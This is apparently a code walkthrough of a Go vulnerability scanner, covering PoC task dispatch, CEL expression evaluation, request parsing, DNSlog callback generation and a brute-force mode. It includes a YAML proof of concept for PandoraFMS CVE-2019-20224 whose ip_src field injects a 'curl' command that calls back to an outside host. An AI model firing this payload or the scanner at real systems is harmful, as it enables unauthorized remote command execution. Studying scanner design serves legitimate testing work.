                isVul, _, name := executePoc(task.Req, task.Poc)
                if isVul {
                    result := fmt.Sprintf("[+] PocScan %s %s %s", task.Req.URL, task.Poc.Name, name)
                    common.LogSuccess(result)
                }
                wg.Done()
            }
        }()
    }
    // 发起poc扫描任务请求
    // 由上面的处理协程进行分析
    for _, poc := range pocs {
        task := Task{
            Req: req,
            Poc: poc,
        }
        wg.Add(1)
        tasks <- task
    }
    wg.Wait()
    close(tasks)
}

func executePoc(oReq *http.Request, p *Poc) (bool, error, string) {
    .....
    c.UpdateCompileOptions(p.Set)
    if len(p.Sets) > 0 {
        var setMap StrMap
        for _, item := range p.Sets {
            if len(item.Value) > 0 {
                setMap = append(setMap, StrItem{item.Key, item.Value[0]})
            } else {
                setMap = append(setMap, StrItem{item.Key, ""})
            }
        }
        c.UpdateCompileOptions(setMap)
    }
    .....

func (c *CustomLib) UpdateCompileOptions(args StrMap) {
    for _, item := range args {
        k, v := item.Key, item.Value
        // 在执行之前是不知道变量的类型的，所以统一声明为字符型
        // 所以randomInt虽然返回的是int型，在运算中却被当作字符型进行计算，需要重载string_*_string
        var d *exprpb.Decl
        if strings.HasPrefix(v, "randomInt") {
            d = decls.NewIdent(k, decls.Int, nil)
        } else if strings.HasPrefix(v, "newReverse") {
            d = decls.NewIdent(k, decls.NewObjectType("lib.Reverse"), nil)
        } else {
            d = decls.NewIdent(k, decls.String, nil)
        }
        c.envOptions = append(c.envOptions, cel.Declarations(d))
    }
}

// func NewEnv(c *CustomLib) (*cel.Env, error) {
//  return cel.NewEnv(cel.Lib(c))
// }
env, err := NewEnv(&c)
if err != nil {
    fmt.Printf("[-] %s environment creation error: %s\n", p.Name, err)
    return false, err, ""
}

func executePoc(oReq *http.Request, p *Poc) (bool, error, string) {
    ......
    req, err := ParseRequest(oReq)
    if err != nil {
        fmt.Printf("[-] %s ParseRequest error: %s\n", p.Name, err)
        return false, err, ""
    }
    ......

type Request struct {
    state         protoimpl.MessageState
    sizeCache     protoimpl.SizeCache
    unknownFields protoimpl.UnknownFields

    Url         *UrlType          `protobuf:"bytes,1,opt,name=url,proto3" json:"url,omitempty"`
    Method      string            `protobuf:"bytes,2,opt,name=method,proto3" json:"method,omitempty"`
    Headers     map[string]string `protobuf:"bytes,3,rep,name=headers,proto3" json:"headers,omitempty" protobuf_key:"bytes,1,opt,name=key,proto3" protobuf_val:"bytes,2,opt,name=value,proto3"`
    ContentType string            `protobuf:"bytes,4,opt,name=content_type,json=contentType,proto3" json:"content_type,omitempty"`
    Body        []byte            `protobuf:"bytes,5,opt,name=body,proto3" json:"body,omitempty"`
}

func ParseRequest(oReq *http.Request) (*Request, error) {
    req := &Request{}
    // 提取http参数
    req.Method = oReq.Method
    req.Url = ParseUrl(oReq.URL)
    header := make(map[string]string)
    for k := range oReq.Header {
        header[k] = oReq.Header.Get(k)
    }
    req.Headers = header
    req.ContentType = oReq.Header.Get("Content-Type")
    // 提取http数据
    // http.Request.Body是io.Reader接口类型
    if oReq.Body == nil || oReq.Body == http.NoBody {
    } else {
        // 读取完所有数据
        data, err := io.ReadAll(oReq.Body)
        if err != nil {
            return nil, err
        }
        req.Body = data
        // 关闭io.Reader，存回data，方便下次读取
        oReq.Body = io.NopCloser(bytes.NewBuffer(data))
    }
    return req, nil
}

variableMap := make(map[string]interface{})
defer func() { variableMap = nil }()
// 指定request为当前设置好的请求对象
variableMap["request"] = req
// 遍历poc.set
for _, item := range p.Set {
    k, expression := item.Key, item.Value
    // 
    if expression == "newReverse()" {
        if !common.DnsLog {
            return false, nil, ""
        }
        variableMap[k] = newReverse()
        continue
    }
    err, _ = evalset(env, variableMap, k, expression)
    if err != nil {
        fmt.Printf("[-] %s evalset error: %v\n", p.Name, err)
    }
}

name: poc-yaml-pandorafms-cve-2019-20224-rce
set:
  reverse: newReverse()
  reverseURL: reverse.url
rules:
  - method: POST
    path: >-
      /pandora_console/index.php?sec=netf&sec2=operation/netflow/nf_live_view&pure=0
    headers:
    Content-Type: application/x-www-form-urlencoded
    body: >-
      date=0&time=0&period=0&interval_length=0&chart_type=netflow_area&max_aggregates=1&address_resolution=0&name=0&assign_group=0&filter_type=0&filter_id=0&filter_selected=0&ip_dst=0&ip_src=%22%3Bcurl+{{reverseURL}}+%23&draw_button=Draw
    follow_redirects: true
    expression: |
      response.status == 200 && reverse.wait(5)

type Reverse struct {
    state         protoimpl.MessageState
    sizeCache     protoimpl.SizeCache
    unknownFields protoimpl.UnknownFields

    Url                string `protobuf:"bytes,1,opt,name=url,proto3" json:"url,omitempty"`
    Domain             string `protobuf:"bytes,2,opt,name=domain,proto3" json:"domain,omitempty"`
    Ip                 string `protobuf:"bytes,3,opt,name=ip,proto3" json:"ip,omitempty"`
    IsDomainNameServer bool   `protobuf:"varint,4,opt,name=is_domain_name_server,json=isDomainNameServer,proto3" json:"is_domain_name_server,omitempty"`
}

func newReverse() *Reverse {
    if !common.DnsLog {
        return &Reverse{}
    }
    letters := "1234567890abcdefghijklmnopqrstuvwxyz"
    randSource := rand.New(rand.NewSource(time.Now().UnixNano()))
    sub := RandomStr(randSource, letters, 8)
    //if true {
    //  //默认不开启dns解析
    //  return &Reverse{}
    //}
    urlStr := fmt.Sprintf("http://%s.%s", sub, ceyeDomain)
    u, _ := url.Parse(urlStr)
    return &Reverse{
        Url:                urlStr,
        Domain:             u.Hostname(),
        Ip:                 u.Host,
        IsDomainNameServer: false,
    }
}

func evalset(env *cel.Env, variableMap map[string]interface{}, k string, expression string) (err error, output string) {
    out, err := Evaluate(env, expression, variableMap)
    if err != nil {
        variableMap[k] = expression
    } else {
        switch value := out.Value().(type) {
        case *UrlType:
            variableMap[k] = UrlTypeToString(value)
        case int64:
            variableMap[k] = int(value)
        default:
            variableMap[k] = fmt.Sprintf("%v", out)
        }
    }
    return err, fmt.Sprintf("%v", variableMap[k])
}

func Evaluate(env *cel.Env, expression string, params map[string]interface{}) (ref.Val, error) {
    if expression == "" {
        return types.Bool(true), nil
    }
    ast, iss := env.Compile(expression)
    if iss.Err() != nil {
        //fmt.Printf("compile: ", iss.Err())
        return nil, iss.Err()
    }

    prg, err := env.Program(ast)
    if err != nil {
        //fmt.Printf("Program creation error: %v", err)
        return nil, err
    }

    out, _, err := prg.Eval(params)
    if err != nil {
        //fmt.Printf("Evaluation error: %v", err)
        return nil, err
    }
    return out, nil
}

success := false
//爆破模式,比如tomcat弱口令
if len(p.Sets) > 0 {
    success, err = clusterpoc(oReq, p, variableMap, req, env)
    return success, nil, ""
}

type StrMap []StrItem
type ListMap []ListItem
type RuleMap []RuleItem

type StrItem struct {
    Key, Value string
}

type Rules struct {
    Method          string            `yaml:"method"`
    Path            string            `yaml:"path"`
    Headers         map[string]string `yaml:"headers"`
    Body            string            `yaml:"body"`
    Search          string            `yaml:"search"`
    FollowRedirects bool              `yaml:"follow_redirects"`
    Expression      string            `yaml:"expression"`
    Continue        bool              `yaml:"continue"`
}

func clusterpoc(oReq *http.Request, p *Poc, variableMap map[string]interface{}, req *Request, env *cel.Env) (success bool, err error) {
    var strMap StrMap
    var tmpnum int
    for i, rule := range p.Rules {
        if !isFuzz(rule, p.Sets) {
            success, err = clustersend(oReq, variableMap, req, env, rule)
            if err != nil {
                return false, err
            }
            if success {
                continue
            } else {
                return false, err
            }
        }
        setsMap := Combo(p.Sets)
        ruleHash := make(map[string]struct{})
    ......